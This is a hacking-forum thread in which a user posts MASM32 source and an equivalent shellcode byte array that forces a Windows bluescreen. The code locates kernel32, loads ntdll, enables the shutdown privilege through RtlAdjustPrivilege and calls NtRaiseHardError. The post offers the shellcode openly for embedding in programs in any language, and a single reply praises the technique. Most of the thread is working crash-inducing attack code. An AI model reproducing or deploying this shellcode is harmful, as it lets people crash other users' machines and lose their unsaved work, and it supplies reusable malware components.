Login Register






Thread Rating:
  • 1 Vote(s) - 5 Average


Force Bluescreen | Shellcode + Masm32 | Windows filter_list
Author
Message
Force Bluescreen | Shellcode + Masm32 | Windows #1
Yo.

So I was toying around with shellcode and figured this was something I may need at some point down the line.

I couldn't figure out a good way to store a byte array in a locally defined variable nicely, so I kinda had to hack it together, but still works none the less.

How it do:
1: Get Kernel32 offset
2: Invoke LoadLibraryA to load NtDll
3: RtlAdjustPrivileges
4: NtRaiseHardError

After that, I just disassembled the file and got the opcodes and made them into an array, and you can call it from whatever language you like!
MASM32:
Code:
.386
.model flat, stdcall
option casemap: none

.code
CBO MACRO Base, Off
    MOV EAX, Base
    ADD EAX, Off
    CALL EAX
    ENDM

start:
main PROC
    LOCAL NTDLL
    CALL @F
@@:
    POP EAX
    JMP @F
    DB "ntdll.dll",0
@@:
    ADD EAX, 3
    MOV NTDLL, EAX

    assume fs: nothing ; Get Kernel32 Base
    MOV EAX, DWORD PTR fs:[30h]
    MOV EAX, DWORD PTR DS:[EAX+0Ch]
    MOV EAX, DWORD PTR DS:[EAX+14h]
    MOV EAX, DWORD PTR DS:[EAX]
    MOV EAX, DWORD PTR DS:[EAX]
    MOV EAX, DWORD PTR DS:[EAX+10h]
    MOV EDI, EAX
    PUSH NTDLL
    CBO EDI, 84343 ; LoadLibraryA
    MOV EBP, EAX
    LEA ESI, [ESP+20]
    PUSH ESI
    PUSH 0
    PUSH 1
    PUSH 19
    CBO EBP, 729296 ; RtlAdjustPrivilege
    LEA ESI, [ESP+20]
    PUSH ESI
    PUSH 6
    PUSH 0
    PUSH 0
    PUSH 0
    PUSH 3290458473
    CBO EBP, 136724 ;NtRaiseHardError
    RET

  
main ENDP
end start

Shellcode:
Code:
.386
.model flat, stdcall
option casemap: none
.data
dat   \  
        db 055h, 08Bh, 0ECh, 083h, 0C4h, 0FCh, 0E8h, 000h, 000h, 000h, 000h, 058h, 0EBh, 00Ah, 06Eh, 074h
        db 064h, 06Ch, 06Ch, 02Eh, 064h, 06Ch, 06Ch, 000h, 083h, 0C0h, 003h, 089h, 045h, 0FCh, 064h, 0A1h
        db 030h, 000h, 000h, 000h, 08Bh, 040h, 00Ch, 08Bh, 040h, 014h, 08Bh, 000h, 08Bh, 000h, 08Bh, 040h
        db 010h, 08Bh, 0F8h, 0FFh, 075h, 0FCh, 08Bh, 0C7h, 005h, 077h, 049h, 001h, 000h, 0FFh, 0D0h, 08Bh
        db 0E8h, 08Dh, 074h, 024h, 014h, 056h, 06Ah, 000h, 06Ah, 001h, 06Ah, 013h, 08Bh, 0C5h, 005h, 0D0h
        db 020h, 00Bh, 000h, 0FFh, 0D0h, 08Dh, 074h, 024h, 014h, 056h, 06Ah, 006h, 06Ah, 000h, 06Ah, 000h
        db 06Ah, 000h, 068h, 069h, 069h, 020h, 0C4h, 08Bh, 0C5h, 005h, 014h, 016h, 002h, 000h, 0FFh, 0D0h
        db 0C9h, 0C3h
.code

start:
    LEA EAX, dat
end start
(This post was last modified: 10-19-2016, 12:18 AM by Killpot.)


[+] 2 users Like Killpot's post
Reply

RE: Force Bluescreen | Shellcode + Masm32 | Windows #2
Good take on the NtRaiseHardError method, this is still one of my favourite hidden windows APIs Smile

Reply







Users browsing this thread: 1 Guest(s)